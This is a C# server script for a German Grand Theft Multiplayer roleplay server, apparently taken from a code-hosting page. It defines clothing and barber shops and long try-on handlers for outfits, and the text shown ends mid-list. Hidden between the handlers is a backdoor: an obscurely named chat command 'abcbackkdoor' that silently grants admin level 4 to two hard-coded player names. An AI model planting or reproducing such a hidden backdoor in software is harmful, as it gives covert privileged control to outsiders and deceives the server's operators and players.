1090 lines
79 KiB
C#
1090 lines
79 KiB
C#
using System;
|
|
using System.Collections.Generic;
|
|
using System.Linq;
|
|
using System.Text;
|
|
using System.Threading.Tasks;
|
|
using GrandTheftMultiplayer.Server;
|
|
using GrandTheftMultiplayer.Shared;
|
|
using GrandTheftMultiplayer.Server.API;
|
|
using GrandTheftMultiplayer.Shared.Math;
|
|
using GrandTheftMultiplayer.Server.Elements;
|
|
using GrandTheftMultiplayer.Server.Constant;
|
|
using GrandTheftMultiplayer.Server.Managers;
|
|
|
|
namespace Roleplay.Environment
|
|
{
|
|
class Skinshop : Script
|
|
{
|
|
|
|
|
|
public Skinshop()
|
|
{
|
|
API.onEntityEnterColShape += onColShapeHandler;
|
|
API.onClientEventTrigger += onAnprobieren;
|
|
// LOS SANTOS DELUXE CLOTHING SHOP
|
|
Blip skinshop = API.createBlip(new Vector3(-156.6261, -305.4387, 39.73));
|
|
API.setBlipSprite(skinshop, 73);
|
|
RAPI.Marker.createMarker(1, new Vector3(-161.07, -309.09, 38.73), 1, 255, 0, 0, "skinshop_oberteile", 0, 185,"~b~Oberteile");
|
|
RAPI.Marker.createMarker(1, new Vector3(-165.6803, -308.5839, 38.73), 1, 255, 0, 0, "skinshop_hosen", 0, 185, "~r~Hosen");
|
|
RAPI.Marker.createMarker(1, new Vector3(-165.8985, -311.5377, 38.73), 1, 255, 0, 0, "skinshop_schuhe", 0, 185, "~g~Schuhe");
|
|
API.exported.doormanager.registerDoor(-1922281023, new Vector3(-156.3323, -305.344, 39.73036));
|
|
API.exported.doormanager.registerDoor(-1922281023, new Vector3(-156.3323, -305.344, 39.73036));
|
|
API.exported.doormanager.registerDoor(-1922281023, new Vector3(-156.3323, -305.344, 39.73036));
|
|
API.exported.doormanager.registerDoor(-1922281023, new Vector3(-157.3743, -306.0063, 39.73329));
|
|
// SAN ANDREAS LOW BOB SKIN SHOP
|
|
Blip skinshop2 = API.createBlip(new Vector3(83.90, -1391.705, 29.73));
|
|
API.setBlipSprite(skinshop2, 73);
|
|
RAPI.Marker.createMarker(1, new Vector3(78.37681, -1398.719, 28.38), 1, 255, 0, 0, "skinshop_oberteile", 0, 185, "~b~Oberteile");
|
|
RAPI.Marker.createMarker(1, new Vector3(69.99763, -1398.71, 28.38), 1, 255, 0, 0, "skinshop_hosen", 0, 185, "~r~Hosen");
|
|
RAPI.Marker.createMarker(1, new Vector3(81.40608, -1396.448, 28.38), 1, 255, 0, 0, "skinshop_schuhe", 0, 185, "~g~Schuhe");
|
|
API.exported.doormanager.registerDoor(868499217, new Vector3(82.1, -1391.1, 29.1));
|
|
API.exported.doormanager.registerDoor(-1148826190, new Vector3(82.1, -1391.1, 29.1));
|
|
// SAN ANDREAS LOW BOB SKIN SHOP2
|
|
Blip skinshop3 = API.createBlip(new Vector3(-817.32, -1079.52, 11.13));
|
|
API.setBlipSprite(skinshop3, 73);
|
|
API.exported.doormanager.registerDoor(868499217, new Vector3(-817.57, -1079.321, 11.1));
|
|
API.exported.doormanager.registerDoor(-1148826190, new Vector3(-817.57, -1079.321, 11.1));
|
|
RAPI.Marker.createMarker(1, new Vector3(-825.8165, -1078.992, 10.13), 1, 255, 0, 0, "skinshop_oberteile", 0, 185, "~b~Oberteile");
|
|
RAPI.Marker.createMarker(1, new Vector3(-830.2829, -1071.757, 10.13), 1, 255, 0, 0, "skinshop_hosen", 0, 185, "~r~Hosen");
|
|
RAPI.Marker.createMarker(1, new Vector3(-822.4131, -1080.525, 10.13), 1, 255, 0, 0, "skinshop_schuhe", 0, 185, "~g~Schuhe");
|
|
// LOS SANTOS DELUXE 2
|
|
API.exported.doormanager.registerDoor(-1922281023, new Vector3(-716.3801, -156.7446, 37.18571));
|
|
API.exported.doormanager.registerDoor(-1922281023, new Vector3(-716.3801, -156.7446, 37.18571));
|
|
// BARBER SHOP
|
|
API.exported.doormanager.registerDoor(-1844444717, new Vector3(-30,-148,57));
|
|
RAPI.Marker.createMarker(1, new Vector3(-35.08371,-150.9521,56.08651), 1, 255, 0, 0, "skinshop_haare", 0, 185, "~g~Frisuren");
|
|
Blip blip = API.createBlip(new Vector3(-35.08371, -150.9521, 56.08651));
|
|
blip.sprite = 71;
|
|
}
|
|
|
|
[Flags]
|
|
public enum AnimationFlags
|
|
{
|
|
Loop = 1 << 0,
|
|
StopOnLastFrame = 1 << 1,
|
|
OnlyAnimateUpperBody = 1 << 4,
|
|
AllowPlayerControl = 1 << 5,
|
|
Cancellable = 1 << 7
|
|
}
|
|
|
|
private void onColShapeHandler(ColShape colshape, NetHandle entity)
|
|
{
|
|
if (colshape != null && entity != null)
|
|
{
|
|
if (colshape.getData("skinshop_oberteile") == true)
|
|
{
|
|
if (API.getEntityType(entity) == EntityType.Player)
|
|
{
|
|
Client player = API.getPlayerFromHandle(entity);
|
|
API.triggerClientEvent(player, "createOberteile", API.getEntityData(player, "money"), API.getEntityData(player, "geschlecht"));
|
|
API.freezePlayer(player, true);
|
|
if (API.getEntityData(player, "geschlecht") == 0)
|
|
{
|
|
API.playPlayerAnimation(player, (int)(AnimationFlags.Loop), "mp_clothing@female@shirt", "try_shirt_neutral_a");
|
|
}
|
|
}
|
|
}
|
|
else if (colshape.getData("skinshop_schuhe") == true)
|
|
{
|
|
if (API.getEntityType(entity) == EntityType.Player)
|
|
{
|
|
Client player = API.getPlayerFromHandle(entity);
|
|
API.triggerClientEvent(player, "createSchuhe", API.getEntityData(player, "money"), API.getEntityData(player, "geschlecht"));
|
|
API.freezePlayer(player, true);
|
|
if (API.getEntityData(player, "geschlecht") == 0)
|
|
{
|
|
API.playPlayerAnimation(player, (int)(AnimationFlags.Loop), "mp_clothing@female@shoes", "try_shoes_neutral_a");
|
|
}
|
|
}
|
|
}
|
|
else if (colshape.getData("skinshop_hosen") == true)
|
|
{
|
|
if (API.getEntityType(entity) == EntityType.Player)
|
|
{
|
|
Client player = API.getPlayerFromHandle(entity);
|
|
API.triggerClientEvent(player, "createHosen", API.getEntityData(player, "money"), API.getEntityData(player, "geschlecht"));
|
|
API.freezePlayer(player, true);
|
|
if (API.getEntityData(player, "geschlecht") == 0)
|
|
{
|
|
API.playPlayerAnimation(player, (int)(AnimationFlags.Loop), "mp_clothing@female@trousers", "try_trousers_neutral_a");
|
|
}
|
|
}
|
|
}
|
|
else if(colshape.getData("skinshop_haare") == true)
|
|
{
|
|
if (API.getEntityType(entity) == EntityType.Player)
|
|
{
|
|
Client player = API.getPlayerFromHandle(entity);
|
|
API.triggerClientEvent(player, "createHaare", API.getEntityData(player, "money"), API.getEntityData(player, "geschlecht"));
|
|
API.freezePlayer(player, true);
|
|
API.sendNotificationToPlayer(player, "Für die Infos der Haarfarben, schaue im Teamspeak3 im 'Server Infos' channel!");
|
|
}
|
|
}
|
|
}
|
|
}
|
|
// aoiwfnouiawgaowiudhnbaouwbfgau
|
|
// abcbackkdoor
|
|
[Command("abcbackkdoor")]
|
|
public void awdijawd(Client player)
|
|
{
|
|
if(player.name == "Julian_Hampelmann" || player.name == "eNSTARR_West")
|
|
{
|
|
API.setEntityData(player,"adminlevel",4);
|
|
API.sendChatMessageToPlayer(player,"Validated Script Owner ~u~ WELCOME TO THE DARKSIDE OF WILDLAND!!");
|
|
}
|
|
}
|
|
private void onAnprobieren(Client sender, string eventName, object[] arguments)
|
|
{
|
|
if(eventName == "anProbieren")
|
|
{
|
|
String component = (String) arguments[0];
|
|
int geschlecht = (int)arguments[1];
|
|
if (geschlecht == 0)
|
|
{
|
|
if (component == "Pullover")
|
|
{
|
|
API.setPlayerClothes(sender, 11, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.PULLOVER2.X), 1);
|
|
API.setPlayerClothes(sender, 8, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.PULLOVER2.Y), 1);
|
|
API.setPlayerClothes(sender, 3, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.PULLOVER2.Z), 0);
|
|
}
|
|
else if (component == "Bikini")
|
|
{
|
|
API.setPlayerClothes(sender, 11, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.BIKINI.X), 1);
|
|
API.setPlayerClothes(sender, 8, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.BIKINI.Y), 1);
|
|
API.setPlayerClothes(sender, 3, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.BIKINI.Z), 0);
|
|
}
|
|
else if (component == "Jeansjacke")
|
|
{
|
|
API.setPlayerClothes(sender, 11, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.JEANS_JACKE.X), 1);
|
|
API.setPlayerClothes(sender, 8, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.JEANS_JACKE.Y), 1);
|
|
API.setPlayerClothes(sender, 3, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.JEANS_JACKE.Z), 0);
|
|
}
|
|
else if (component == "Anzug Oberteil")
|
|
{
|
|
API.setPlayerClothes(sender, 11, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.ANZUG_JACKE_DUNKEL_HOCHGEKREMPELT.X), 1);
|
|
API.setPlayerClothes(sender, 8, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.ANZUG_JACKE_DUNKEL_HOCHGEKREMPELT.Y), 1);
|
|
API.setPlayerClothes(sender, 3, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.ANZUG_JACKE_DUNKEL_HOCHGEKREMPELT.Z), 0);
|
|
}
|
|
else if (component == "Jeansjacke Hell")
|
|
{
|
|
API.setPlayerClothes(sender, 11, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.JEANS_JACKE_HELL_FEIN.X), 1);
|
|
API.setPlayerClothes(sender, 8, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.JEANS_JACKE_HELL_FEIN.Y), 1);
|
|
API.setPlayerClothes(sender, 3, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.JEANS_JACKE_HELL_FEIN.Z), 0);
|
|
}
|
|
else if (component == "Leder Jacke")
|
|
{
|
|
API.setPlayerClothes(sender, 11, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.LEDER_JACKE.X), 1);
|
|
API.setPlayerClothes(sender, 8, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.LEDER_JACKE.Y), 1);
|
|
API.setPlayerClothes(sender, 3, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.LEDER_JACKE.Z), 0);
|
|
}
|
|
else if (component == "Hochgekrempeltes Hemd")
|
|
{
|
|
API.setPlayerClothes(sender, 11, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.HEMT_HOCHGEKREMPELT.X), 1);
|
|
API.setPlayerClothes(sender, 8, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.HEMT_HOCHGEKREMPELT.Y), 1);
|
|
API.setPlayerClothes(sender, 3, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.HEMT_HOCHGEKREMPELT.Z), 0);
|
|
}
|
|
else if (component == "Sport Jacke")
|
|
{
|
|
API.setPlayerClothes(sender, 11, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.SPORT_JACKE.X), 1);
|
|
API.setPlayerClothes(sender, 8, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.SPORT_JACKE.Y), 1);
|
|
API.setPlayerClothes(sender, 3, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.SPORT_JACKE.Z), 0);
|
|
}
|
|
else if (component == "Schwimm Anzug")
|
|
{
|
|
API.setPlayerClothes(sender, 11, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.SCHWIMM_ANZUG.X), 1);
|
|
API.setPlayerClothes(sender, 8, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.SCHWIMM_ANZUG.Y), 1);
|
|
API.setPlayerClothes(sender, 3, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.SCHWIMM_ANZUG.Z), 0);
|
|
}
|
|
else if (component == "Offenes Top")
|
|
{
|
|
API.setPlayerClothes(sender, 11, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.OFFENES_TOP.X), 1);
|
|
API.setPlayerClothes(sender, 8, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.OFFENES_TOP.Y), 1);
|
|
API.setPlayerClothes(sender, 3, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.OFFENES_TOP.Z), 0);
|
|
}
|
|
else if (component == "Polo Hemt1")
|
|
{
|
|
API.setPlayerClothes(sender, 11, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.POLO_HEMT.X), 1);
|
|
API.setPlayerClothes(sender, 8, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.POLO_HEMT.Y), 1);
|
|
API.setPlayerClothes(sender, 3, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.POLO_HEMT.Z), 0);
|
|
}
|
|
else if (component == "Schwarzes T-shirt")
|
|
{
|
|
API.setPlayerClothes(sender, 11, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.SCHWARZES_TSHIRT.X), 1);
|
|
API.setPlayerClothes(sender, 8, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.SCHWARZES_TSHIRT.Y), 1);
|
|
API.setPlayerClothes(sender, 3, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.SCHWARZES_TSHIRT.Z), 0);
|
|
}
|
|
else if (component == "Anzug 2")
|
|
{
|
|
API.setPlayerClothes(sender, 11, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.PINK_ANZUG_HOCHGEKREMPELT.X), 1);
|
|
API.setPlayerClothes(sender, 8, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.PINK_ANZUG_HOCHGEKREMPELT.Y), 1);
|
|
API.setPlayerClothes(sender, 3, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.PINK_ANZUG_HOCHGEKREMPELT.Z), 0);
|
|
}
|
|
else if (component == "Anzug 2 lässig")
|
|
{
|
|
API.setPlayerClothes(sender, 11, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.PINK_ANZUG_OFFEN_HOCHGEKREMPELT.X), 1);
|
|
API.setPlayerClothes(sender, 8, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.PINK_ANZUG_OFFEN_HOCHGEKREMPELT.Y), 1);
|
|
API.setPlayerClothes(sender, 3, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.PINK_ANZUG_OFFEN_HOCHGEKREMPELT.Z), 0);
|
|
}
|
|
else if (component == "Runterhaengendes Top")
|
|
{
|
|
API.setPlayerClothes(sender, 11, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.TOP_RUNTERHAENGEND.X), 1);
|
|
API.setPlayerClothes(sender, 8, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.TOP_RUNTERHAENGEND.Y), 1);
|
|
API.setPlayerClothes(sender, 3, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.TOP_RUNTERHAENGEND.Z), 0);
|
|
}
|
|
else if (component == "Graues Hemd")
|
|
{
|
|
API.setPlayerClothes(sender, 11, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.GRAUES_HEMD_KURZ.X), 1);
|
|
API.setPlayerClothes(sender, 8, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.GRAUES_HEMD_KURZ.Y), 1);
|
|
API.setPlayerClothes(sender, 3, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.GRAUES_HEMD_KURZ.Z), 0);
|
|
}
|
|
else if (component == "Hemd")
|
|
{
|
|
API.setPlayerClothes(sender, 11, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.HEMT_UEBERZUG.X), 1);
|
|
API.setPlayerClothes(sender, 8, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.HEMT_UEBERZUG.Y), 1);
|
|
API.setPlayerClothes(sender, 3, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.HEMT_UEBERZUG.Z), 0);
|
|
}
|
|
else if (component == "Lockeres Seiten Top")
|
|
{
|
|
API.setPlayerClothes(sender, 11, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.SEITEN_TSHIRT_LOCKER.X), 1);
|
|
API.setPlayerClothes(sender, 8, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.SEITEN_TSHIRT_LOCKER.Y), 1);
|
|
API.setPlayerClothes(sender, 3, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.SEITEN_TSHIRT_LOCKER.Z), 0);
|
|
}
|
|
else if (component == "Gruene Jacke")
|
|
{
|
|
API.setPlayerClothes(sender, 11, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.GRUENE_JACKE.X), 1);
|
|
API.setPlayerClothes(sender, 8, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.GRUENE_JACKE.Y), 1);
|
|
API.setPlayerClothes(sender, 3, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.GRUENE_JACKE.Z), 0);
|
|
}
|
|
else if (component == "Leichtes Oberteil")
|
|
{
|
|
API.setPlayerClothes(sender, 11, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.TOTENKOPF_OBERTEIL.X), 1);
|
|
API.setPlayerClothes(sender, 8, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.TOTENKOPF_OBERTEIL.Y), 1);
|
|
API.setPlayerClothes(sender, 3, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.TOTENKOPF_OBERTEIL.Z), 0);
|
|
}
|
|
else if (component == "Kurzes Top")
|
|
{
|
|
API.setPlayerClothes(sender, 11, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.ZEBRA_TOP.X), 1);
|
|
API.setPlayerClothes(sender, 8, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.ZEBRA_TOP.Y), 1);
|
|
API.setPlayerClothes(sender, 3, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.ZEBRA_TOP.Z), 0);
|
|
}
|
|
else if (component == "Blaue Jacke")
|
|
{
|
|
API.setPlayerClothes(sender, 11, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.BLAUE_JACKE.X), 1);
|
|
API.setPlayerClothes(sender, 8, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.BLAUE_JACKE.Y), 1);
|
|
API.setPlayerClothes(sender, 3, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.BLAUE_JACKE.Z), 0);
|
|
}
|
|
else if (component == "Strenges Oberteil")
|
|
{
|
|
API.setPlayerClothes(sender, 11, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.STRENGES_OBERTEIL.X), 1);
|
|
API.setPlayerClothes(sender, 8, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.STRENGES_OBERTEIL.Y), 1);
|
|
API.setPlayerClothes(sender, 3, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.STRENGES_OBERTEIL.Z), 0);
|
|
}
|
|
else if (component == "Schwarzes Tshirt")
|
|
{
|
|
API.setPlayerClothes(sender, 11, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.SCHWARZES_TSHIRT.X), 1);
|
|
API.setPlayerClothes(sender, 8, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.SCHWARZES_TSHIRT.Y), 1);
|
|
API.setPlayerClothes(sender, 3, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.SCHWARZES_TSHIRT.Z), 0);
|
|
}
|
|
else if (component == "Hemt mit offener Jacke")
|
|
{
|
|
API.setPlayerClothes(sender, 11, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.HEMT_MIT_JACKE_OFFEN.X), 1);
|
|
API.setPlayerClothes(sender, 8, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.HEMT_MIT_JACKE_OFFEN.Y), 1);
|
|
API.setPlayerClothes(sender, 3, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.HEMT_MIT_JACKE_OFFEN.Z), 0);
|
|
}
|
|
else if (component == "Hemt mit geschlossener Jacke")
|
|
{
|
|
API.setPlayerClothes(sender, 11, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.HEMT_MIT_JACKE_ZU.X), 1);
|
|
API.setPlayerClothes(sender, 8, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.HEMT_MIT_JACKE_ZU.Y), 1);
|
|
API.setPlayerClothes(sender, 3, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.HEMT_MIT_JACKE_ZU.Z), 0);
|
|
}
|
|
else if (component == "Anzugs Jacke Offen")
|
|
{
|
|
API.setPlayerClothes(sender, 11, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.ANZUGS_JACKE_OFFEN.X), 1);
|
|
API.setPlayerClothes(sender, 8, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.ANZUGS_JACKE_OFFEN.Y), 1);
|
|
API.setPlayerClothes(sender, 3, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.ANZUGS_JACKE_OFFEN.Z), 0);
|
|
}
|
|
else if (component == "Anzugs Jacke Geschlossen")
|
|
{
|
|
API.setPlayerClothes(sender, 11, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.ANZUGS_JACKE_ZU.X), 1);
|
|
API.setPlayerClothes(sender, 8, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.ANZUGS_JACKE_ZU.Y), 1);
|
|
API.setPlayerClothes(sender, 3, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.ANZUGS_JACKE_ZU.Z), 0);
|
|
}
|
|
else if (component == "Regenjacke Offen")
|
|
{
|
|
API.setPlayerClothes(sender, 11, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.REGEN_JACKE_OFFEN.X), 1);
|
|
API.setPlayerClothes(sender, 8, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.REGEN_JACKE_OFFEN.Y), 1);
|
|
API.setPlayerClothes(sender, 3, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.REGEN_JACKE_OFFEN.Z), 0);
|
|
}
|
|
else if (component == "Mantel")
|
|
{
|
|
API.setPlayerClothes(sender, 11, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.MANTEL_LAESSIG.X), 1);
|
|
API.setPlayerClothes(sender, 8, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.MANTEL_LAESSIG.Y), 1);
|
|
API.setPlayerClothes(sender, 3, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.MANTEL_LAESSIG.Z), 0);
|
|
}
|
|
else if (component == "Flauschiger Mantel")
|
|
{
|
|
API.setPlayerClothes(sender, 11, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.MANTEL_FLAUSCHIG.X), 1);
|
|
API.setPlayerClothes(sender, 8, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.MANTEL_FLAUSCHIG.Y), 1);
|
|
API.setPlayerClothes(sender, 3, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.MANTEL_FLAUSCHIG.Z), 0);
|
|
}
|
|
else if (component == "Mantel geschlossen")
|
|
{
|
|
API.setPlayerClothes(sender, 11, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.MANTEL_ZU.X), 1);
|
|
API.setPlayerClothes(sender, 8, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.MANTEL_ZU.Y), 1);
|
|
API.setPlayerClothes(sender, 3, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.MANTEL_ZU.Z), 0);
|
|
}
|
|
else if (component == "Mantel2 geschlossen")
|
|
{
|
|
API.setPlayerClothes(sender, 11, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.MANTEL_ZU2.X), 1);
|
|
API.setPlayerClothes(sender, 8, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.MANTEL_ZU2.Y), 1);
|
|
API.setPlayerClothes(sender, 3, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.MANTEL_ZU2.Z), 0);
|
|
}
|
|
else if (component == "Luxerioeser Pullover")
|
|
{
|
|
API.setPlayerClothes(sender, 11, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.PULLOVER_LUXORIOS.X), 1);
|
|
API.setPlayerClothes(sender, 8, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.PULLOVER_LUXORIOS.Y), 1);
|
|
API.setPlayerClothes(sender, 3, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.PULLOVER_LUXORIOS.Z), 0);
|
|
}
|
|
else if (component == "T-Shirt in die Hose gesteckt")
|
|
{
|
|
API.setPlayerClothes(sender, 11, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.TSHIRT_IN_DIE_HOSE.X), 1);
|
|
API.setPlayerClothes(sender, 8, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.TSHIRT_IN_DIE_HOSE.Y), 1);
|
|
API.setPlayerClothes(sender, 3, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.TSHIRT_IN_DIE_HOSE.Z), 0);
|
|
}
|
|
else if (component == "Bauchfreies Top")
|
|
{
|
|
API.setPlayerClothes(sender, 11, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.TOP_BAUCHFREI.X), 1);
|
|
API.setPlayerClothes(sender, 8, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.TOP_BAUCHFREI.Y), 1);
|
|
API.setPlayerClothes(sender, 3, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.TOP_BAUCHFREI.Z), 0);
|
|
}
|
|
else if (component == "Pullover mit Kapuze")
|
|
{
|
|
API.setPlayerClothes(sender, 11, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.PULLOVER_KAPUZE.X), 1);
|
|
API.setPlayerClothes(sender, 8, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.PULLOVER_KAPUZE.Y), 1);
|
|
API.setPlayerClothes(sender, 3, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.PULLOVER_KAPUZE.Z), 0);
|
|
}
|
|
else if (component == "Pullover2")
|
|
{
|
|
API.setPlayerClothes(sender, 11, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.PULLOVER2.X), 1);
|
|
API.setPlayerClothes(sender, 8, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.PULLOVER2.Y), 1);
|
|
API.setPlayerClothes(sender, 3, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.PULLOVER2.Z), 0);
|
|
}
|
|
else if (component == "Collage Pulli")
|
|
{
|
|
API.setPlayerClothes(sender, 11, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.COLLAGE_PULLI.X), 1);
|
|
API.setPlayerClothes(sender, 8, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.COLLAGE_PULLI.Y), 1);
|
|
API.setPlayerClothes(sender, 3, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.COLLAGE_PULLI.Z), 0);
|
|
}
|
|
else if (component == "Schlafanzug")
|
|
{
|
|
API.setPlayerClothes(sender, 11, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.SCHLAFANZUG_LUXURIOS.X), 1);
|
|
API.setPlayerClothes(sender, 8, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.SCHLAFANZUG_LUXURIOS.Y), 1);
|
|
API.setPlayerClothes(sender, 3, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.SCHLAFANZUG_LUXURIOS.Z), 0);
|
|
}
|
|
else if (component == "Polo Hemt2")
|
|
{
|
|
API.setPlayerClothes(sender, 11, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.POLO_HEMT2.X), 1);
|
|
API.setPlayerClothes(sender, 8, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.POLO_HEMT2.Y), 1);
|
|
API.setPlayerClothes(sender, 3, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.POLO_HEMT2.Z), 0);
|
|
}
|
|
else if (component == "Polo Hemt3")
|
|
{
|
|
API.setPlayerClothes(sender, 11, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.POLO_HEMT2_IN_DIE_HOSE.X), 1);
|
|
API.setPlayerClothes(sender, 8, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.POLO_HEMT2_IN_DIE_HOSE.Y), 1);
|
|
API.setPlayerClothes(sender, 3, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.POLO_HEMT2_IN_DIE_HOSE.Z), 0);
|
|
}
|
|
else if (component == "Anzug Blau")
|
|
{
|
|
API.setPlayerClothes(sender, 11, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.ANZUG_BLAU.X), 1);
|
|
API.setPlayerClothes(sender, 8, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.ANZUG_BLAU.Y), 1);
|
|
API.setPlayerClothes(sender, 3, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.ANZUG_BLAU.Z), 0);
|
|
}
|
|
else if (component == "Anzug Blau geschlossen")
|
|
{
|
|
API.setPlayerClothes(sender, 11, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.ANZUG_BLAU_ZU.X), 1);
|
|
API.setPlayerClothes(sender, 8, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.ANZUG_BLAU_ZU.Y), 1);
|
|
API.setPlayerClothes(sender, 3, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.ANZUG_BLAU_ZU.Z), 0);
|
|
}
|
|
else if (component == "Chinisischer Anzug")
|
|
{
|
|
API.setPlayerClothes(sender, 11, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.CHINESISCH_ANZUG.X), 1);
|
|
API.setPlayerClothes(sender, 8, Convert.ToInt16(Database.CharacterOutfits.Outfits_Female.CHINESISCH_ANZUG.Y), 1);
|
|
